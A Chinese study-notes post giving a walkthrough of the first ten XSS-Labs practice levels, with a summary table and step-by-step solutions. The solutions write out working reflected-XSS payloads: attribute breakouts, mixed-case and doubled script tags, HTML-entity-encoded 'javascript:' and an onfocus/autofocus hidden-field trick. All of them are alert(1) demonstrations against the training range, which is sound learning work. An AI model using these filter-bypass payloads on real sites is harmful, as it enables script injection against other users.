网络安全中级阶段学习笔记(四):XSS-Labs 前 10 关 通关命令and实战笔记

目录

[🎯 XSS-Labs 前 10 关 通关命令 & 注入方式总结](#🎯 XSS-Labs 前 10 关 通关命令 & 注入方式总结)

一、leve1

二、leve2

三、leve3

四、leve4

五、leve5

六、leve6

七、leve7

八、leve8

九、leve9

十、leve10


🎯 XSS-Labs 前 10 关 通关命令 & 注入方式总结

关卡 核心过滤/特点 注入 payload(命令) 注入方式与原理
Level 1 无任何过滤,直接输出到页面 test换成name=<script>alert(1)</script> 直接在 URL 的 name参数插入 script 标签,浏览器执行
Level 2 输入在 HTML 标签属性内,需闭合标签 "><script>alert(1)</script> ">闭合前面属性并插入 script 标签
Level 3 尖括号 < >被转义为实体,不能用 script ' onclick='alert(1) 用单引号闭合属性,添加 onclick事件触发弹窗
Level 4 尖括号被过滤,但可用事件属性 " onclick=alert(1) " 双引号闭合属性,插入 onclick事件
Level 5 <script>被替换成 <scr_ipt>,阻止 script "><a href="javascript:alert('xss')"> 用 a 标签的 href调用 JS,绕过 script 过滤
Level 6 大小写混合可绕过过滤 "><ScRiPt>alert(1)</ScRiPt> 用大小写混淆绕过关键词过滤
Level 7 重复关键词会被删掉一次,可用嵌套绕过 "><sc<script>ript>alert(1)</sc<script>ript> 利用重复替换漏洞,构造出合法 script 标签
Level 8 过滤了大部分关键字,但支持 HTML 实体编码 &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1) javascript:转成十进制 HTML 实体,嵌入 href
Level 9 必须包含 http://才输出,过滤 script java&#115cript:alert(1)//http:// 用 HTML 实体编码 script,并在后面加 //http://绕过检测
Level 10 隐藏输入框 t_sort,只过滤 < >,可用事件属性 ?后面替换为t_sort=" onfocus=alert(1) autofocus type=text 闭合 value,修改 type 为 text,加入 onfocus事件自动弹窗

上述表格是根据下面内容进行总结,命令复制有可能有遗漏的标点符号等,若上述表格命令有错请查看下面详细笔记,下面笔记保证正确

一、leve1

进入第一关

把地址栏的test换成<script>alert(1)</script>

点击回车成功过关

二、leve2

进入第二关

发现只有个搜索框,输入<script>alert(1)</script>试试

发现这种方法不行,鼠标右键点击查看源代码

发现提交的值被储存到了value值中,修改闭合方式来闭合 value 值,插入 js 代码便能执行

输入"> <script>alert(1)</script>

点击搜索便可通关

三、leve3

进入第三关

输入<script>alert(1)</script>查看页面源代码

发现输入的数据还是在value值中,但是两个尖括号< >被过滤了,所以输入的时候无法使用尖括号,并且value是单引号,所以要用单引号闭合

直接输入'> οnclick='alert(1)

点击搜索,再点击一次输入栏才显示成功

我还测试了一下,如果输入'> οnfοcus=javascript:alert('xss') '或者输入' οnfοcus=javascript:alert('xss') '都可以成功,但是弹窗会一直反复的出现,你需要点好几次确定才能跳转到第四关

四、leve4

进入第四关

直接输入<script>alert(1)</script>查看源代码

发现<>还是被过滤了,但是value使用的是双引号

直接把上一题的代码的单引号换为双引号直接放进去" onclick = alert(1) "或者" οnfοcus=javascript:alert(1) "

但是第二个输入进去的时候还是会一直弹窗

五、leve5

进入第5关

输入查看源代码

发现尖括号可以输入<>但是script关键字被添了下划线,那就不使用这个关键字,换一个关键字,使用" οnfοcus=javascript:alert(1) "试试

发现还是被添加了下划线。使用" onclick = alert(1) "也不行

使用a标签的伪协议"> <a href="javascript:alert ('xss')">

成功了

六、leve6

进入第6关

查看页面源代码

和上一关类似,这次除了 <script> 标签,<a>标签的 href 值也会插入一个下划线,而且<img> 标签的 src 属性和 onerror 属性也会被插入下划线

所以使用大小写转换绕过"> <sCript>alert(1)</sCript>

七、leve7

进入第7关

输入<script>alert(1)</script>之后发现script被过滤了

那双写script,"> <scscriptript>alert(1)</scscriptript>

八、leve8

进入第8关

查看页面源码发现,大小写替换会被检测,script,javascript也会被添加下划线,从而选择使用HTML实体编码的格式

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

或者使用16进制编码也可以

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

九、leve9

进入第9关,输入<script>alert(1)</script>显示链接不合法

这种情况加入http://就欧克了,但是肯定不能加在前面,加前面这语句就被注释了所以只能加后面

<script>alert(1)</script>//http:// 发现script被过滤了

因为javascript也被过滤了,所以使用&#115来代替s,所以使用java&#115cript:alert(1)//http://

十、leve10

打开第10关,你会发现页面上只有一个搜索框,输入东西会显示搜索结果。

但是你试着输入 <script>alert(1)</script>没反应,因为后台把 <>都转义了(变成 &lt;``&gt;),所以标签不会被执行。

那怎么办?我们得找别的办法。

  • 在网页地址栏里,你会看到 URL 后面有 ?keyword=xxx,这是传参数的地方。

  • 我们点开网页的【查看源代码】(右键 → 查看网页源代码),会发现除了 keyword,还有几个隐藏的输入框:

查看源码可见三个隐藏的表单字段:t_link、t_history、t_sort 。向三者逐一传参测试,发现只有 t_sort​ 的值会被回显到页面中

把网址?后面的内容替换为t_sort=" οnfοcus=alert(1) autofocus type=text

onfocus是一个事件属性 当这个输入框获得焦点的时候,就执行后面的代码。

autofocus页面加载完成后,自动让这个输入框获得焦点 。结合 onfocus,就能做到页面一打开就自动弹窗

原本输入框是 type="hidden"(看不见)。

这里我们改成 type="text",让它变成一个普通可见的文本框,这样才能真正获得焦点、触发事件。

回车然后就成功了

但是显示成功的弹窗要点好一会才可以跳到下一关,不知道是不是bug

相关推荐
lifallen18 分钟前
Skill 的生命周期:问题消失以后
人工智能·学习·ai·ai编程
千谦阙听27 分钟前
C++类和对象(中):默认成员函数、构造与析构、拷贝构造、运算符重载
开发语言·c++·学习
冬木家居32 分钟前
40㎡客厅变形记,小家住出大自由[特殊字符]
android·经验分享·笔记·智能家居·微信公众平台
摇滚侠35 分钟前
《SpringBoot 3:入门与应用实战》第 12 章 JDBC 与事务 数据库初始化机制 阅读笔记 36
数据库·spring boot·笔记
Agudamu11611 小时前
AI 视频学习笔记工具拆解:4款工具谁能把视频变成复习资料
人工智能·学习·音视频
HugoStudio_SWAN1 小时前
洛谷 B4500 / B4449 / B3843 凯撒密码、密码强度与密码合规——加密与安全的三道门
c++·学习·程序人生·算法·安全
TechWayfarer2 小时前
Cloudflare 9·15新政倒计时:用IP风险画像识别AI爬虫,防止误伤Googlebot
网络·人工智能·爬虫·python·tcp/ip·网络安全
推送者3 小时前
用宠物照片制作桌宠:从AI拆帧到九点标定的本地化实现笔记
笔记·宠物·用宠物照片制作桌宠
一条破秋裤3 小时前
16_TIM编码器接口测速
笔记·stm32·学习
tju新生代魔迷3 小时前
Verilog HDL 学习笔记(十)| 第10章 时序和延迟
笔记·学习·fpga开发